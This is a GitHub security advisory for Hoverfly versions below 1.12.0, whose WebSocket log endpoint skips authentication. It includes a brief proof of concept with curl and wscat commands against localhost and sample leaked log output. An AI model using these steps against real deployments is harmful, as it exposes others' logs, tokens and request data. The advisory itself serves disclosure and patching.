GitHub Advisoryadvisory · Go

GHSA-jxmr-2h4q-rhxp WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled

HIGH Published 2025-09-10 Modified 2025-09-24 Official page ↗
Aliases
CVE-2025-54376
Ecosystem
Go
Packages
github.com/SpectoLabs/hoverfly
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-200, CWE-287
Reviewed
2025-09-10

Affected packages

• Go github.com/SpectoLabs/hoverfly: < 1.12.0 → fixed in 1.12.0

Description

Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can: • Stream real-time application logs (information disclosure). • Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. PoC 1. Start Hoverfly with authentication enabled: ``` ./hoverfly -auth ``` 2. Confirm REST API requires credentials: ``` curl -i http://localhost:8888/api/v2/hoverfly/version ``` 3. Connect to the WebSocket endpoint without credentials: ``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) … logs stream immediately … (You would need to send a message to start receiving stream) ``` ``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) > hi! < {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]} < ... < ... ``` Impact Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.

Related

Alias · CVE (1)

  • CVE-2025-54376 Hoverfly is an open source API simulation tool. vulnerability

Weakness · CWE (2)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-287 Improper Authentication weakness

References